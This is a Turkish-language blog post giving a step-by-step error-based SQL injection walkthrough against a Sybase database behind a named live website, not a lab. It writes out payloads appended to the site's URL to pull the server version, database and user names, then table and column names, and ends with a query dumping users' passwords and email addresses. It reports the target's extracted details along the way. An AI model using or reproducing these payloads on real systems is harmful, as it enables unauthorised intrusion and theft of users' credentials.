Error Based Sybase SQL Injection
Hedef; http://www.daily5remodel.com/index.php?action=article&rowid=1852
Şimdi yukarıda ki sitede sql inj açığı var.Tabii ilk olarak havije yazdım. Bu konuda Türkçe makale yok denecek kadar azdır hatta yoktur desek yanlış olmaz.Bu yüzden Cyber-Warrior bulunmaz nimettir değerini bilelim.Havij’in bittiği yer burasıdır.
Tabi haviji o kadar yerden yere vurmakta ayıp olur çoğu zaman işe yarıyor sağolsun burada DB Server; Sybase ve DB Name; daily5remodel demiş yiğidin hakkını yemeyelim.Gerçi yukarıda verdiğim linke ’ koyunca bana zaten server sybase diyor.
Tabii benim daha versiyon öğrenmeye ihtiyacım var. :)
Versiyon Öğrenme Kodumuz; +and+1=convert(integer,@@version)-- [FONT]
Alan adına; http://www.daily5remodel.com/index.php?action=article&rowid=1852+and+1=convert(integer,@@version)-- yazalım ve sonuç;
Not; Convert; Varchar değerinde ki veriyi dönüştürmek için kullanılır.Üstte ki versiyon resminde ki VARCHAR value kısmına dikkat :)
integer; tam sayı anlamına gelir zaten.
Veritabanı Adı Öğrenme
Kodumuz; +and+1=convert(integer,db_name())--
Alan adına; http://www.daily5remodel.com/index.php?action=article&rowid=1852+and+1=convert(integer,db_name())-- yazdık ve sonuç;
Evet buradan öteye havijle gidemedik bakalım biz nasıl gideceğiz.
Şimdi bize kullanıcı adı ve tablolar lazım.
Kullanıcı Adı Öğrenme
Kodumuz; +and+1=convert(integer,user_name())--
Alan adına; http://www.daily5remodel.com/index.php?action=article&rowid=1852+and+1=convert(integer,user_name())-- yazdık ve sonuç;
Not; Elimizde ne var?
version : ’Adaptive Server Enterprise/15.0.1/EBF 13819/P/Sun_svr4/OS 5.8/ase1501/2379/64-bit/FBO/Tue Aug 15 04:20:15 2006’
Database Adı : ’daily5remodel’
Kullanıcı Adı: ’dbo’
Şimdi sıra tablolara geldi.
Tabloları Öğrenme
Buraya dikkat burada devreler yanabiliyor.Şimdi ilk tabloyu öğrenmek için;
Kodumuz; +and+1=convert(integer,(select+min(name)+from+sysobjects where type=’U’))--
Şimdi alan adına; http://www.daily5remodel.com/index.php?action=article&rowid=1852+and+1=convert(integer,(select+min(name)+from+sysobjects where type=’U’))-- yazdık sonuç;
Açıklama;
+from+sysobjects where type= buraya dikkat ilk resimde havij bize ne demişti Can not get Count(name) of daily5remodel..sysobjects where xtype=char(85) biz de ona Get out of the subject diyoruz :)
Can not yok bizde :)
Şimdi orada bi ’U’ var o ne anlama geliyor.
U= Kullanıcı Tablosu
İşte kullanabileceniz diğer şeyler de var.Aşağısı artık ileri dereceye giriyor.Terimlerin bazılarını çevirmedim.Size yetecekleri çevirdim.
C – istediğiniz kolon
D – Varsayılan
F – SQLJ function
L – kayıtlar
N – partition condition
P – Transact-SQL or SQLJ procedure
PR – prepare objects (created by Dynamic SQL)
R – rule
RI – referential constraint
S – sistem tablosu
TR – trigger
U – kullanıcı tablosu
V – Görünüm
XP – extended stored procedure
Neyse kaldığımız yerden devam edelim.İlk tablomuz; ’ adlocation ’
İkinci Tablo için kodumuz; +and+1=convert(integer,(select+min(name)+from+sysobjects where type=’U’ and name!=’first table name’))--
Şimdi ikinci tabloyu öğrenmek için alan adına ;
http://www.daily5remodel.com/index.php?action=article&rowid=1852+and+1=convert(integer,(select+min(name)+from+sysobjects where type=’U’ and name!=’adlocation’))--
burada and name!=’adlocation’ kısmına dikkat kodumuz da first table yazıyor.
Şimdi alan adına bunu yazınca ’ads’ diye tablo adı verecek.Reklam tablosu yani neyse biz kullanıcıları sorgulayacağız.
+and+1=convert(integer,(select+min(name) from syscolumns where id= (select id from sysobjects where type=’U’ and name=’users’)))--
Şimdi buna adress tablosunu ekleyelim.Sonra ki tabloları çıkarmak adına.
Alan adına; http://www.daily5remodel.com/index.php?action=article&rowid=1852+and+1=convert(integer,(select+min(name) from syscolumns where id= (select id from sysobjects where type=’U’ and name=’users’) and name!=’address’))-- bunu yazıyoruz ve sonuç olarak bize businesstype[/BLUE] tablosunu veriyor.
Final Zamanı
Şimdi bize users tablosunda ki kullanıcıların e-mail ve şifreleri lazım.
Alan adına; http://www.daily5remodel.com/index.php?action=article&rowid=1852 or 1=convert(numeric, (select+max(password||0x3a||email)+from+users)) yazıyoruz ve sonuç;
Hiç yorum yok: